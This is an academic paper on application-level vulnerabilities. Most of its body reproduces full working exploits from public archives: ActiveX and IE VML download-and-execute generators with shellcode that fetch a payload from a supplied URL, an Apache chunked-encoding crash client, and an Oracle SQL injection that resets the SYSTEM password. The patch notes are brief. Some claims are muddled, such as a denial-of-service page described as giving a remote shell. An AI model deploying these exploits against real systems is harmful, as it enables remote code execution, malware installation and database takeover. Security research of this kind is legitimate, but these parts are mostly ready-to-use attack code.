Application Level Untraceable Vulnerabilities and Countermeasures

[1]Dr. A Damodaram, [2]R Sridevi, , [3] K S SadaSiva Rao,[4]P Mohan Gandhi
[1]Prof., Department of Computer Science and Engineering, JNTUCEH, Hyderabad
[2]Assoc. Prof., Department of Computer Science and Engineering, JNTUCEH, Hyderabad
[3]Lecturer.,Department of Computer Science,Sri Indu PG College,Hyderabad
[4]B. tech., Department of Computer Science and Engineering, JNTUCEH, Hyderabad

Abstract
Secured Operating Systems are not at all sufficient to say the Applications are working in a secured environment. Because applications will have many vulnerabilities. Users feel it's a Security failure of Operating Systems, Antivirus tools etc., because those application level vulnerabilities are untraceable. So, this paper emphasizes research on application level untraceable security vulnerabilities in various general purpose applications and their corresponding patches. Buffer Overflow, Web browser Vulnerabilities, Web server vulnerabilities, Oracle apps Vulnerabilities, Vulnerabilities common in all OS and also their corresponding patches are documented in this paper.

Keywords:
Application Vulnerabilities, Security Patches, Buffer Overflow

1. Introduction

Vulnerabilities will probably exist in large and complex software systems. At least with today's software methods, techniques, and tools, it seems to be impossible to completely eliminate all flaws.

Modern operating system typically consists of a kernel and a set of user level processes with extended privileges. The latter are often referred to as server or daemon processes.

This paper focuses mainly on Application level security vulnerabilities in general purpose Application programs. The objective is to investigate real intrusions in order to find and model the underlying generic weaknesses, i.e., weakness that would be applicable to many different systems.

2. Categerozation of Security Flaws

By categorizing phenomena, it becomes much easier to conduct systematic studies. Several categorization schemes for security vulnerabilities have been proposed through the years. In this section, we emphasize proposed taxonomies. Landwehr stated that:

"Knowing how systems have failed can help us build systems that resist Failure."

We also observed that the history of software failures is mostly undocumented. These two observations motivated us to develop a taxonomy of Application programs security flaws, which is largely based on vulnerabilities in Application programs. In the paper, most valuable application security flaws and countermeasures as patches are studied and categorized. The vulnerabilities were not randomly selected, owing to the fact they were not taken from a valid statistical sample, but were rather selected to represent a wide variety of security flaws.

Our ambition is, however, *not* to suggest yet vulnerability taxonomy but rather to emphasize common weaknesses that have been exploited in real intrusions. Similar vulnerabilities have been grouped together in a heuristic manner rather than according to some formal model. A collection of five common security problems and attacks has been identified and will be further described below.

These are:

- Buffer overflow
- Internet explorer vulnerabilities
- Web server vulnerabilities
- Oracle apps Vulnerabilities

2.1 Buffer Overflow

Buffer overflow vulnerability dot the information technology landscape more frequently than other vulnerabilities because it has little to do with security innately, the vulnerability arises due to human error that is difficult to detect and often not expected in the first instance. In general, it is essential to carefully check the input to software routines, i.e., to perform an input validation. The check may be with regard to the number of parameters provided, the type of each parameter, or to simply ensure that the amount of input data is not larger than the buffer allocated to store the data. Improper or non-existent input validation is a well-known and serious problem in operating systems. This sort of overflow is called as buffer overflow. A buffer overflow occurs when

Manuscript received September 5, 2008.
Manuscript revised September 20, 2008.

a program or process tries to store more data in a buffer (temporary data storage area) than it was intended to hold. Since buffers are created to contain a finite amount of data, the extra information which has to be directed elsewhere can overflow into adjacent buffers, corrupting or overwriting the valid data held in them.

2.1.1 Example1:

Exploit name**:** Adobe Reader 7.0.8.0 AcroPDF.dll Internet Explorer Denial of Service [11]
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7.This exploit gives shell of the remote system on which this script executes. This is small and fine example of buffer overflow.

```
<html>
<object classid='clsid:CA8A9780-280D-11CF-A24D-
444553540000' id='AcroPDF'></object>
<script language='vbscript'>
argCount = 1
arg1=String(2097512, "A")
AcroPDF.src=arg1
</script>
```

2.1.2 Patch For this module:

There is only vendor made patch available for this vulnerability. The only patch is to upgrade it to 8.0.7 version.

2.1.3 Example:

Exploit name: Yahoo! Webcam Upload ActiveX Control (ywcupl.dll)
This module exploits a stack overflow in the Yahoo! Webcam Upload ActiveX Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249. By sending a overly long string to the "Server()" method, and then calling the "Send()" method, an attacker may be able to execute arbitrary code. Using the payloads "windows/shell_bind_tcp"and"windows/shell_reverse_tcp " yield for the best results. This exploit gives shell of the remote system on which this script executes.

```
/*
  Compile in LCC-win32 (Free!)
  Download and exec any file you like!
    */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char *file = "Click_here.html";
FILE *fp = NULL;

unsigned char sc[] =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x
8B\x76\x20\x03"
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\
x28\x38\xF2\x74"
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x7
5\xE7\x5E\x8B\x5E"
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xD
D\x8B\x04\x8B\x03"
"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\
x00\x43\x3A\x5C"
"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x7
8\x0C\x8B\x40"
"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40
\x34\x8D\x40\x7C"
"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\
xFF\xFF\x83\xEC"
"\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\
x2F\x70\xE8\x6F"
"\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xD
B\x53\x53\x52\xEB"
"\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\
xFF\xFF\xFF\x83"
"\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2
\x73\xE8\x40\xFF"
"\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF";


char *url = NULL;
unsigned char sc_2[] = "\x00\x98";

char * header =
"<html>\n"
"<object classid=\"clsid:DCE2F8B1-A520-11D4-8FD0-
00D0B7730277\" id='viewme'></object>\n"
"<body>\n"
"<SCRIPT language=\"javascript\">\n"
"var shellcode =
unescape(\"%u9090%u9090%u9090%u9090\" + \n";
  char * footer =
"\n\n"
"bigblock = unescape(\"%u9090%u9090\");\n"
"headersize = 20;\n"
"slackspace = headersize+shellcode.length;\n"
"while (bigblock.length<slackspace)
bigblock+=bigblock;\n"
"fillblock = bigblock.substring(0, slackspace);\n"
"block = bigblock.substring(0, bigblock.length-
slackspace);\n"
"while(block.length+slackspace<0x40000) block =
block+block+fillblock;\n"
"memory = new Array();\n"
"for (x=0; x<500; x++) memory[x] = block +
shellcode;\n"
"var buffer = '\\x0a';\n"
"while (buffer.length < 5000)
buffer+='\\x0a\\x0a\\x0a\\x0a';\n"
"viewme.server = buffer;\n"
"viewme.initialize();\n"
"viewme.send();\n";

char * trigger_1 =
"</script>\n"
"</body>\n"
"</html>\n";

// print unicode shellcode
void PrintPayLoad(char *lpBuff, int buffsize)
{
int i;
for(i=0;i<buffsize;i+=2)
{
if((i%16)==0)
{
if(i!=0)
{
printf("\"\n\"");
fprintf(fp, "%s", "\" +\n\"");
}
else
{
printf("\"");
fprintf(fp, "%s", "\"");
}
}
  printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
  fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
}
  printf("\";\n");
fprintf(fp, "%s", "\");\n");

fflush(fp);
}


void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};
  int sc_len = 0;
int n;

if (argc < 2)
{
 printf("\r\nYahoo 0day Ywcupl.dll ActiveX Exploit
Download And Exec\n");

printf("link:http://research.eeye.com/html/advisories/upco
ming/20070605.html\n");

printf("link:http://www.informationweek.com/news/show
Article.jhtml?articleID=199901856 \n");
 printf("link:http://secunia.com/advisories/25547/\n");
 printf("greetz to Jambalaya for helping with this
code\n");
 printf("\r\nUsage: %s <URL> [htmlfile]\n", argv[0]);
 printf("\r\nE.g.: %s
http://www.malwarehere.com/rootkit.exe
exploit.html\r\n\n", argv[0]);
 printf("=-Excepti0n-=\n");
exit(1);
}
  url = argv[1];

if( (!strstr(url, "http://") && !strstr(url, "ftp://")) ||
strlen(url) < 10)
{
printf("[-] Invalid url. Must start with 'http://','ftp://'\n");
return;
}
  printf("[+] download url:%s\n", url);
  if(argc >=3) file = argv[2];
printf("[+] exploit file:%s\n", file);
  fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!\n");
return;
}

//build Exploit HTML File
fprintf(fp, "%s", header);
fflush(fp);
  memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));
  sc_len += strlen(url);
  memcpy(buf+sc_len, sc_2, 1);
sc_len += 1;
  PrintPayLoad((char *)buf, sc_len);
  fprintf(fp, "%s", footer);
fflush(fp);
  fprintf(fp, "%s", trigger_1);
fflush(fp);

printf("[+] exploit write to %s success!\n", file);
}
```

2.1.4 Patch for this vulnerability:

The vulnerability has been fixed in version 8.1.0.419 ,available at [12]

There are two ways to detect buffer overflows.

- The first one is looking at the source code. In this case, the hacker can look for strings declared as local variables in functions or methods and verify the presence of boundary checks. It is also necessary to check for improper use of standard functions, especially those related to strings and input/output.
- The second way is by feeding the application with huge amounts of data and check for abnormal behavior.

2.2 Internet Explorer Vulnerabilities

Internet explorer is mostly used web browser. According to security watch magazine more than 2 million users use IE. Even it has got the following vulnerability**.**

2.2.1 Example:

Exploit name: Internet Explorer VML Buffer Overflow Download Exec Exploit
This module exploits a generic code execution vulnerability in Internet Explorer by abusing vulnerable ActiveX objects.

```
/*
*-----------------------------------------------------------*
* vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit

* Tested : Windows 2000 Server CN
* : + Internet Explorer 6.0 SP1
* :
* Complie : cl vml.c
* :
* Usage : d:\>vml
* :
* : Usage: vml <URL> [htmlfile]
* :
* : d:\>vml http://xsec.org/xxx.exe xxx.htm
* :
*
*-----------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;

#define NOPSIZE 260
#define MAXURL 60

//DWORD ret = 0x7Ffa4512; // call esp for CN
DWORD ret = 0x7800CCDD; // call esp for All win2k

// Search Shellcode
unsigned char dc[] =
"\x8B\xDC\xBE\x6F\x6F\x6F\x70\x4E\xBF\x6F\x30\x30\x70\x4F\x43\x39"
"\x3B\x75\xFB\x4B\x80\x33\xEE\x39\x73\xFC\x75\xF7\xFF\xD3";

// Shellcode Start
unsigned char dcstart[] =
"noop";

// Download Exec Shellcode XOR with 0xee
unsigned char sc[] =
"\x07\x4B\xEE\xEE\xEE\xB1\x8A\x4F\xDE\xEE\xEE\xEE\x65\xAE\xE2\x65"
"\x9E\xF2\x43\x65\x86\xE6\x65\x19\x84\xEA\xB7\x06\xAB\xEE\xEE\xEE"
"\x0C\x17\x86\x81\x80\xEE\xEE\x86\x9B\x9C\x82\x83\xBA\x11\xF8\x7B"
"\x06\xDE\xEE\xEE\xEE\x6D\x02\xCE\x65\x32\x84\xCE\xBD\x11\xB8\xEA"
"\x29\xEA\xED\xB2\x8F\xC0\x8B\x29\xAA\xED\xEA\x96\x8B\xEE\xEE\xDD"
"\x2E\xBE\xBE\xBD\xB9\xBE\x11\xB8\xFE\x65\x32\xBE\xBD\x11\xB8\xE6"
"\x84\xEF\x11\xB8\xE2\xBF\xB8\x65\x9B\xD2\x65\x9A\xC0\x96\xED\x1B"
"\xB8\x65\x98\xCE\xED\x1B\xDD\x27\xA7\xAF\x43\xED\x2B\xDD\x35\xE1"
"\x50\xFE\xD4\x38\x9A\xE6\x2F\x25\xE3\xED\x34\xAE\x05\x1F\xD5\xF1"
"\x9B\x09\xB0\x65\xB0\xCA\xED\x33\x88\x65\xE2\xA5\x65\xB0\xF2\xED"
"\x33\x65\xEA\x65\xED\x2B\x45\xB0\xB7\x2D\x06\xB8\x11\x11\x11\x60"
"\xA0\xE0\x02\x2F\x97\x0B\x56\x76\x10\x64\xE0\x90\x36\x0C\x9D\xD8"
"\xF4\xC1\x9E";

// Shellcode End
unsigned char dcend[] =
"n00p";
```

```
// HTML Header
char * header =
"<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n"
"<head>\n"
"<title>XSec.org</title>\n"
"<style>\n"
"v\\:* { behavior: url(#default#VML); }\n"
"</style>\n"
"</head>\n"
"<body>\n"
"<v:rect style=\"width:20pt;height:20pt\"
fillcolor=\"red\">\n"
"<v:fill method=\"";

char * footer =
"\"/>\n"
"</v:rect>\n"
"</body>\n"
"</html>\n"
;

// convert string to NCR
void convert2ncr(unsigned char * buf, int size)
{
    int i=0;
    unsigned int ncr = 0;

    for(i=0; i<size; i+=2)
    {
        ncr = (buf[i+1] << 8) + buf[i];

        fprintf(fp, "&#%d;", ncr);
    }
}

void main(int argc, char **argv)
{
    unsigned char buf[1024] = {0};
    unsigned char burl[255] = {0};
    int sc_len = 0;
    int psize = 0;
    int i = 0;

    unsigned int nop = 0x4141;
    DWORD jmp = 0xeb06eb06;

    if (argc < 2)
    {
        printf("Windows VML Download Exec
Exploit\n");
        printf("Code by nop nop#xsec.org,
Welcome to http://www.xsec.org\n");
        //printf("!!! 0Day !!! Please Keep
Private!!!\n");
```

```
        printf("\r\nUsage: %s <URL>
[htmlfile]\r\n\n", argv[0]);
        exit(1);
    }

    url = argv[1];
    if( (!strstr(url, "http://") && !strstr(url, "ftp://")) ||
strlen(url) <
            10 || strlen(url) > MAXURL)
    {
        printf("[-] Invalid url. Must start with
'http://','ftp://' and < %d bytes.\n", MAXURL);
        return;
    }

    printf("[+] download url:%s\n", url);

    if(argc >=3) file = argv[2];

    printf("[+] exploit file:%s\n", file);

    fp = fopen(file, "w+b");
    //fp = fopen(file, "w");
    if(!fp)
    {
        printf("[-] Open file error!\n");
        return;
    }

    // print html header
    fprintf(fp, "%s", header);
    fflush(fp);

    for(i=0; i<NOPSIZE; i++)
    {
        //fprintf(fp, "&#%d;", nop);
        fprintf(fp, "A");
    }

    fflush(fp);

    // print shellcode
    memset(buf, 0x90, sizeof(buf));
    //memset(buf, 0x90, NOPSIZE*2);

    memcpy(buf, &ret, 4);
    psize = 4+8+0x10;

    memcpy(buf+psize, dc, sizeof(dc)-1);
    psize += sizeof(dc)-1;

    memcpy(buf+psize, dcstart, 4);
    psize += 4;

    sc_len = sizeof(sc)-1;
```

```
        memcpy(buf+psize, sc, sc_len);
        psize += sc_len;


        // print URL
        memset(burl, 0, sizeof(burl));
        strncpy(burl, url, 60);

        for(i=0; i<strlen(url)+1; i++)
        {
                burl[i] = buf[i] ^ 0xee;
        }

        memcpy(buf+psize, burl, strlen(url)+1);
        psize += strlen(url)+1;

        memcpy(buf+psize, dcend, 4);
        psize += 4;


        // print NCR
        convert2ncr(buf, psize);



        printf("[+] buff size %d bytes\n", psize);

        // print html footer
        fprintf(fp, "%s", footer);
        fflush(fp);

        printf("[+] exploit write to %s success!\n", file);
}
```

2.2.2 Patch for this vulnerability:

Microsoft Eschews Patch must be applied. This patch is available in secwatch.org site or can upgrade to IE7.

2.3 Web Server Vulnerabilities

The Apache HTTP Server, commonly referred to simply as Apache, is a web server notable for playing a key role in the initial growth of the world wide web.Apache is primarily used to serve both static content and dynamic web pages on the World Wide Web. Many web applications are designed expecting the environment and features that Apache provides.Apache is the web server component of the popular LAMPweb server application stack, alongside MYSQL, and the php/perl/python programming languages.Apache is redistributed as part of various proprietary software packages including the Oracle database. Mac OS X integrates Apache as its built-in web server and as support for its web objects application server.

2.3.1 Example:

This module exploits the chunked transfer integer wrap vulnerability in Apache version 1.2.x to 1.3.24. This particular module has been tested with all versions of the official Win32 build between 1.3.9 and 1.3.24. Additionally, it should work against most co-branded and bundled versions of Apache (Oracle 8i, 9i, IBM HTTPD, etc).

You will need to use the Check() functionality to determine the exact target version prior to launching the exploit. The version of Apache bundled with Oracle 8.1.7 will not automatically restart, so if you use the wrong target value, the server will crash.

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>

#define A 0x41
#define PORT 80

struct sockaddr_in hrm;

int conn(char *ip)
{
int sockfd;
hrm.sin_family = AF_INET;
hrm.sin_port = htons(PORT);
hrm.sin_addr.s_addr = inet_addr(ip);
bzero(&(hrm.sin_zero),8);
sockfd=socket(AF_INET,SOCK_STREAM,0);
if((connect(sockfd,(struct sockaddr*)&hrm,sizeof(struct
sockaddr)))<0)
{
perror("connect");
exit(0);
}
return sockfd;
}
int main(int argc, char *argv[])
{
int i,x;
char buf[300],a1[8132],a2[50],host[100],content[100];
char *ip=argv[1],*new=malloc(sizeof(int));
sprintf(new,"\r\n");
memset(a1,'\0',8132);
memset(host,'\0',100);
memset(content,'\0',100);
a1[0] = ' ';
for(i=1;i<8132;i++)
a1[i] = A;
if(argc<2)
{
printf("%s: IP\n",argv[0]);
exit(0);
}
x = conn(ip);
printf("[x] Connected to: %s.\n",inet_ntoa(hrm.sin_addr));
sprintf(host,"Host: %s\r\n",argv[1]);
sprintf(content,"Content-Length: 50\r\n");
sprintf(buf,"GET / HTTP/1.0\r\n");
write(x,buf,strlen(buf));
printf("[x] Sending buffer...");
for(i=0;i<2000;i++)
{
write(x,a1,strlen(a1));
write(x,new,strlen(new));
}
memset(buf,'\0',300);
strcpy(buf,host);
strcat(buf,content);
for(i=0;i<50;i++)
a2[i] = A;
strcat(buf,a2);
strcat(buf,"\r\n\r\n");
write(x,buf,strlen(buf));
printf("done!\n");
close(x);

}
```

2.4 Data base Vulnerabilities

The following code exploits the system using the oracle software vulnerability.

Exploit name: 10g R1
xDb.XDB_PITRIG_PKG.PITRIG_DROP

```
/****************************************/
/******* Oracle 10g R1
xDb.XDB_PITRIG_PKG.PITRIG_DROP    **********/
/******* SQL Injection Exploit **********/
/************   exploit change system password
**************/
/***************** tested on oracle 10.1.0.2.0
*******************/
/*        Date of Public EXPLOIT:  January 25, 2008
*/
/*
/*      Advisory:
http://www.oracle.com/technology/deploy/        */
/*               security/critical-patch-
updates/cpujan2008.html */
/*                                             */
/* set password 12345 to user SYSTEM   */

CREATE OR REPLACE FUNCTION CHANGEPASS
return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'update sys.user$ set
password="EC7637CC2C2BOADC" where
name="SYSTEM"';
COMMIT;
RETURN ";
END;
/

EXEC
XDB.XDB_PITRIG_PKG.PITRIG_DROP('SCOTT"."SH
2KERR" WHERE 1=SCOTT.CHANGEPASS()--
','HELLO IDS IT IS EXPLOIT :)');
```

2.4.1 Patch for this vulnerability:

Patch available at:[13]

3. Conclusion

When ever users are working under the secure Operating System feel that it is secure and no
Possibility for vulnerabilities, but even though vulnerabilities which are untraceable may happen because of the applications not with the Operating Systems . So when ever users are working with the applications ,there may be a possibility of vulnerabilities like Buffer Overflow, Web browser Vulnerabilities, Web server vulnerabilities, Oracle apps Vulnerabilities etc., common in all OS .In this scenario users has to keep the corresponding patches .Here we have documented some of the vulnerabilities in this paper.

Refrences

[1] C. Cowan, P. Wagle, C. Pu, S. Beattie, and J. Walpole. Buffer overflows: Attacks and defenses for the vulnerability of the decade. In Proceedings of the DARPA Information Survivability Conference and Expo, 1999.

[2] E. Haugh. Testing c programs for buffer overflow vulnerabilities. Master's thesis, University of California at Davis, September 2002.

[3] D. Larochelle and D. Evans. Statically detecting likely buffer overflow Vulnerabilities. In USENIX Security Symposium, Washington, D. C., August 2001.

[4] D. Wagner, J. Foster, E. Brewer, and A. Aiken. A first step towards automated detection of buffer overrun vulnerabilities. In Symposium on Network and Distributed Systems Security (NDSS '00), pages 3–17, February 2000. San Diego CA.

[5] Openbsd developers, single-byte buffer overflow vulnerability in ftpd, December 2000. http://www.openbsd.org/advisories/ftpd/replydirname.txt.

[6] http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-04/msg00028.html

[7] CERT, Cert advisory ca-2000-02 malicious html tags embedded in client web requests, 2000.[Online]. Available:http://www.cert.org/advisories/CA-2000-02.htm

[8] S. H. Huseby, Innocent Code: a security wake-up call for Web programmers. Wiley, 2004.

[9] www.secwatch.org

[10] www.milworm.com

[11] http://messenger.yahoo.com/download.php

[12] http://shinnai.altervista.org

[13] http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2008.html

Dr A Damodaram obtained his B.Tech. Degree in Computer Science and Engineering in 1989, M.Tech. in CSE in 1995 and Ph.D in Computer Science in 2000 all from Jawaharlal Nehru Technological University, Hyderabad. His areas of interest are Computer Networks, Software Engineering and Image Processing. He presented more than 40 papers in various National and International Conferences and has 6 publications in journals. He guided 3 Ph.D., 3 MS and more than 100 M.Tech./MCA students.

He joined as Faculty of Computer Science and Engineering in 1989 at JNTU, Hyderabad. He worked in the JNTU in various capacities since 1989. Presently he is a professor in Computer Science and Engineering Department.

In his 19 years of service Dr. A. Damodaram assumed office as Head of the Department, Vice-Principal and presently is the Director of UGC Academic Staff College of JNT University Hyderabad. He was board of studies chairman for JNTU Computer Science and Engineering Branch (JNTUCEH) for a period of 2 years. He is a life member in various professional bodies.

He is a member in various academic councils in various Universities. He is also a UGC Nominated member in various expert/advisory committees of Universities in India. He was a member of NBA (AICTE) sectoral committee and also a member in various committees in State and Central Governments.

He is an active participant in various social/welfare activities. He was also acted as Secretary General and Chairman for the AP State Federation of University Teachers Associations, and Vice President for All India Federation of University Teachers Associations. He is the Vice President for the All India Peace and Solidarity Organization from Andhra Pradesh.

Sridevi Rangu obtained B.E (Computer Science and Engineering) from Madras University, chennai, and M.Tech (Computer Science and Technology) from Andhra University Visakapatnam in 1999 and 2003 respectively. During July 1999 to August 2001 she worked as assistant professor in V.R Siddhartha college Vijayawada. Worked as Assistant professor from August 2002 to May 2006 and from june 2006 to November 2006 as Associate professor in Bhojreddy Engineering College for Women. Presently working as Associate professor in JNTU Hyderabad. Also pursuing Ph.D. from department of Computer Science and Engineering JNTU Hyderabad. Area of research interest are Network security, Intrusion Detection and Computer Networks.

K S Sadasiva Rao obtained Master in Computer Applications from Andhra Loyola College Vijayawada in 1999. Completed M.Phil in Computer Science and Engineering in 2006 from Bharathi Dasan University Thiruchinapally. Currently Pursuing M.Tech CSE from JNTU. Presently working as Associate Professor in Sri Indu PG college Hyderabad. Areas of Interest is Network Security.

P Mohan Gandhi pursuing B. Tech in JNTU Hyderabad. Created Dynamic Web site for PLM technology. Areas of Interest are Reverse Engineering and Applications Security.